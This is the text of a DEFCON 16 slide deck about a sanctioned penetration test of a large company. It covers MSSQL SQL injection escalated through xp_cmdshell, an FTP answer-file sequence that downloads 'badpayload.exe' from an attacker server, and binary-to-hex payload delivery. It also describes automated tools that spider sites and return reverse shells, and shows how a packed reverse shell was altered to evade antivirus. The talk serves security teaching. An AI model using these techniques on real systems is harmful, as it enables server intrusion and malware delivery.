DEFCON 16
Black vs. White

The complete life cycle of a real world breach...

August 13th, 2008

David Kennedy aka ReL1K
Ken Stasiak aka Static
Scott White aka Sasquatch
Andrew Weidenhamer aka Leroy
Note, this presentation was made specifically for the CD distribution at DEFCON. The majority of the presentation is live demonstrations and rooting boxes. Content has been added to the presentation to reproduce some of the attacks we used.
Black vs. White: The complete lifecycle of a real world breach

- Brief introduction – 3 minutes
- Live demonstrations (Black Hat) – 15 minutes
- Tool demonstrations (Black Hat) – Two tools 40 minutes
- Manual techniques – 15 minutes
- Detecting the breach (White Hat) - 5 minutes
- What’s the Malware doing? (White Hat) - 10 minutes
- How we built it and got it passed AV (White Hat) – 20 minutes
- End Presentation
The Scenario

- Fortune 100 company hired us in 2007 to perform a penetration to simulate an attack. Ok. What's new? Well they wanted to see things from start to finish.

- What we did…. Rooted them inside and out with some sweet hacks, installed some malware that SURPRISINGLY AV didn’t catch (uh huh).

- Great, we did some sweet stuff... They suspect a server is compromised, what do you do to see if it is? Our AV isn’t doing squat, and our IPS only looks at the network layer, operating system, and known web server attack signatures... What about the web application layer?
Live Demonstration

Live Demonstration time.
We’ve written two custom tools specifically for DEFCON:

- SA Exploiter Beta
- SQLPwn Beta
The Initial Attack

- Login Form: Simple SQL Injection `' throws error messages.
Server Error in '/sql' Application.

Incorrect syntax near 'hh'.
Unclosed quotation mark after the character string ".

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error.

Exception Details: System.Data.SqlClient.SqlException: Incorrect syntax near 'hh'.
Unclosed quotation mark after the character string ".

Source Error:

Line 68:    objConn.Open();
Line 70:    {
Line 71:         if (Convert.ToString(cmd.ExecuteScalar()) != "")

Source File: c:\inetpub\wwwroot\sql\Default.aspx.cs  Line: 70

Stack Trace:
SQL Injection Basics

- Basic SQL syntax:
  - SELECT <data field name> FROM <table> WHERE <conditional>

- Example table named ‘users’

<table>
<thead>
<tr>
<th>user_id</th>
<th>login_name</th>
<th>password</th>
</tr>
</thead>
<tbody>
<tr>
<td>13</td>
<td>admin</td>
<td>p455w0rd</td>
</tr>
</tbody>
</table>

- The query:
  
  SELECT user_id FROM users WHERE login_name = 'admin' AND password = 'p455w0rd'

  would return the value 13

- SELECT user_id FROM users WHERE login_name = 'admin' AND password = 'p455w0rd'

  Injection Points
Going Beyond ‘ OR 1=1--

- **XP_CMDSHELL** in MSSQL

- **Definition from Microsoft**: Executes a given command string as an operating-system command shell and returns any output as rows of text. Grants non-administrative users permissions to execute `xp_cmdshell`. 
xp_cmdshell gives us underlying operating system privileges

SQL Server service/agent is installed to run as SYSTEM by default, so we’re running under elevated privileges...

Challenge with this is that we can’t generally see what’s being executed on the underlying operating system. Payload delivery is cludgy and takes a long time...might as well call it blind...

Blind SQL Injection poses some challenges, no good fuzzers for this out there
The Syntax

(As simple as it gets): `';exec master..xp_cmdshell 'command here'`—

What our attack looks like...

```
-- what to run
exec master..xp_cmdshell 'command here'
```

12
Something that we haven’t seen yet is this method delivery through SQL Injection.
Binary to Hex

- Taking raw binary, converting the information to formatted hex. Using echo on the underlying operating system to echo the hex to a text file.

- Using Windows Debug to convert our hex back to a binary.

- Ok so we go from binary to hex, hex through SQL, SQL to local text file as hex, hex into memory, and then to a binary. Phew.

- Benefits of this are we don’t have to worry about egress filtering for things like FTP/TFTP delivery.

- Some issues with Binary to Hex delivery is debug only supports 64kb file-size limit. We’ve gotten around this though ;)}
What the payload looks like
In both tools we use a more advanced method, the limitations with binary to hex conversions through debug is the 64kb limit. Our delivery has to generally be pretty small…

We can get around this in a few ways, lets discuss a couple..
Option 1 – HTTP GET

- We can deliver a small payload (less than 4kb) that creates a raw socket and pulls information off of a HTTP server.

- This method is alright, and can be customized on ports, however this method relies off of egress connections before establishing the connections. This is one too many connections for us...
Option 2 – FTP Answer Files

- This is about as basic as it gets…
  - `echo ftp`
  - `echo open exploitmachine.maliciousserver.com`
  - `echo user`
  - `echo password`
  - `echo bin`
  - `echo get badpayload.exe`
  - `echo quit`

- Problem with this is its FTP, any IDS/IPS hopefully catches this type of activity. It’s also several unnecessary egress connections that we don’t need..
Here’s what we’ve come up with to bypass these restrictions…

- We dump a small payload (5kb) onto the server, use debug to convert it from hex to a binary.

- We then echo our malicious payload, whether it be 2kb or 5 gb into a file.

- Our small payload converts hex to raw binary and to an output file.

- No longer need to use debug for the large conversions, just for our initial payload.

- We can now deliver any size binary file we want to the remote server!
SA Exploiter

- Ok it’s a Windows GUI, but has been tested on mono/wine ;)

- We know most DEFCON attendees main OS is Windows.

- String generator for automated SQL Injection

- Deliver +64kb payloads through binary payload injection in SQL

- Add local administrators on the system, disable AV, turn on RDP, inject VNC, etc. etc.
Metasploits famed Meterpreter delivered through SQL Injection anyone?
SA Exploiter String Generation (copy and paste)
Fuzzing Capabilities

Blind SQL Injection Fuzzlist Generator

Injection Prefix: test' UNION SELECT
Count: 3

Generated fuzzlist:

- test' UNION SELECT1:
- test' UNION SELECT2:
- test' UNION SELECT3:
- test' UNION SELECT4:1999-01-02 00:00:00.003768
- test' UNION SELECT5:
- test' UNION SELECT6:
- test' UNION SELECT7:
- test' UNION SELECT8:
- test' UNION SELECT9:
- test' UNION SELECT10:
- test' UNION SELECT11:
- test' UNION SELECT12:
- test' UNION SELECT13:
- test' UNION SELECT14:
- test' UNION SELECT15:
- test' UNION SELECT16:
- test' UNION SELECT17:
- test' UNION SELECT18:
- test' UNION SELECT19:
- test' UNION SELECT20:
- test' UNION SELECT21:
- test' UNION SELECT22:
- test' UNION SELECT23:
- test' UNION SELECT24:
- test' UNION SELECT25:
- test' UNION SELECT26:
- test' UNION SELECT27:
- test' UNION SELECT28:
- test' UNION SELECT29:
- test' UNION SELECT30:
- test' UNION SELECT31:
- test' UNION SELECT32:
- test' UNION SELECT33:
- test' UNION SELECT34:
- test' UNION SELECT35:
- test' UNION SELECT36:
- test' UNION SELECT37:
- test' UNION SELECT38:
- test' UNION SELECT39:
- test' UNION SELECT40:
- test' UNION SELECT41:
- test' UNION SELECT42:
- test' UNION SELECT43:
- test' UNION SELECT44:
- test' UNION SELECT45:
- test' UNION SELECT46:
- test' UNION SELECT47:
- test' UNION SELECT48:
- test' UNION SELECT49:
- test' UNION SELECT50:
- test' UNION SELECT51:
- test' UNION SELECT52:
- test' UNION SELECT53:
- test' UNION SELECT54:
- test' UNION SELECT55:
- test' UNION SELECT56:
- test' UNION SELECT57:
- test' UNION SELECT58:
- test' UNION SELECT59:
- test' UNION SELECT60:
- test' UNION SELECT61:
- test' UNION SELECT62:
- test' UNION SELECT63:
- test' UNION SELECT64:
- test' UNION SELECT65:
- test' UNION SELECT66:
- test' UNION SELECT67:
- test' UNION SELECT68:
- test' UNION SELECT69:
- test' UNION SELECT70:
- test' UNION SELECT71:
- test' UNION SELECT72:
- test' UNION SELECT73:
- test' UNION SELECT74:
- test' UNION SELECT75:
- test' UNION SELECT76:
- test' UNION SELECT77:
- test' UNION SELECT78:
- test' UNION SELECT79:
- test' UNION SELECT80:
- test' UNION SELECT81:
- test' UNION SELECT82:
- test' UNION SELECT83:
- test' UNION SELECT84:
- test' UNION SELECT85:
- test' UNION SELECT86:
- test' UNION SELECT87:
- test' UNION SELECT88:
- test' UNION SELECT89:
- test' UNION SELECT90:
- test' UNION SELECT91:
- test' UNION SELECT92:
- test' UNION SELECT93:
- test' UNION SELECT94:
- test' UNION SELECT95:
- test' UNION SELECT96:
- test' UNION SELECT97:
- test' UNION SELECT98:
- test' UNION SELECT99:
- test' UNION SELECT100:
SQLPwn

- What is does: scans a subnet range i.e. 192.168.1.1-254 looking for port 80 and 443. If discovered, it obtains the hostname and automatically crawls the entire site.

- After the crawl, it looks at every input field/form parameter using both GET and POST.

- Attacks are launched to the entire site looking for both error based SQL Injection and Blind SQL injection. It also has some fuzzing techniques built into the tool for SQL string completion.

- Once successful injection occurs, the xp_cmdshell is enabled if disabled and a shell is spawned through a binary to hex payload.

- Send +64kb payloads
Menu driven

---

SQL Automater

Written by:

Andrew Weidenhammer
http://www.securestate.com
Email:a weidenhammer@securestate.com

------------------------------------------------------------------

Psyco not detected.....Recommend installing it for increased speeds.

SQL Automator Main Menu:

1. Install Sql Automator Dependencies (Only needed if you see an error message above!!!
2. SQL Injection Search/Exploit by Binary Payload Injection (Blind SQL Injection Techniques)
3. SQL Injection Search/Exploit by Binary Payload Injection (Based on SQL Exception Error Messages)
4. Dump all columns of the table being used in the Query
5. SQL Injection single URL exploitation
6. Changelog
7. Credits
8. About
9. Exit

Enter the number:
Auto crawls the site...

This module will attempt to spider a website and attempt to only identify SQL injection (based on error messages). If it finds SQL injection it will then provide the user with an option to exploit it using the BinaryToHex method for uploading.

If all goes well a reverse shell will be returned to the user.


Crawling http://ssdev1:98/defcon/ (Max Depth: 1000)
Following: http://ssdev1:98/defcon/index.html
New: http://www.toxicbbq.com
New: https://www.defcon.org/html/defcon-groups/dc-groups_index.html
The almighty reverse shell *bow*
Hmmm. Worm possibilities?
Malware Live Demonstration

Live Demonstration time.
Reverse shell picked up by AVG

- Reverse shell in its original form, although packed with API redirection it is still easily identified by antivirus engine.
Here are the PE characteristics and values of our reverse shell. Notice the tell-tale signs this binary is already compressed with a packer (VSize much larger than RSize and section flags marked as executable and writable).
Since our virtual size of the section (the amount that will be loaded into memory) is much greater than what's actually on disk, this means there will be many null bytes that will be used as placeholders to unpack code. We have to be careful where we can put our code cave in this scenario, so that unpacked data is not overwriting or illegally accessed when we take control of the initial execution of the binary. Normally, if the VSize is less than the RSize we can simply add code at the end of the section and increase the VSize value in order to load our new code into memory. Since we are adding code to this area, we need to make sure that this area is loaded into memory and will not be accessed later on by the original unpacking stub. Highlighted in red we have address0x110 bytes for our code-cave.
Our code-cave in action, when it’s done decoding it will jump to the second-stage OEP at 00040158.
The second-stage decoding is in action here, notice all the imports that are visible now. We are close to the original OEP.
Notice in the dump window (lower left-hand side) our first-section is being populated now with decoded data (remember it had a RSive of 0?).
Notice the “CALL” “JMP” method to get the imports by utilizing a JMP Thunk Table. By using this the loader does not need to fix code that would use those API functions, it just simply has to add the pointer value to the table for reference.
If we continue our process of loading the imports we finally come to a few CALLs, one of which leads to the original OEP at 00401258.
The detached process used PID 5236, notice this process is not accessible or listed as active.
If we drill into the programs running we will not discover any injected functions, rouge handles, memory hijacks, or really any evidence we ran a program called “reverse.exe”. However, we do notice two cmd.exe process running under different PIDs, spawned by a separate thread of reverse.exe that issued a CreateProcess call. Notice if we inspect all system-calls utilized by our reverse.exe program it indeed imports network capability functions from Ws2_32.dll. So, with this knowledge we inspect one of the cmd.exe processes and notice a file handle of \Device\Afld, this is indicative of a network socket. We have found the threaded process controlling our reverse-shell.
Our last test was to scan the binary on disk to see if we have bypassed the signature analysis.
Fun Topic… 6 Hacks in 6 Minutes

- Live demonstration of 6 hacks in 6 minutes…. Ready…… set…. GO!!!!
That’s all we got…

The END???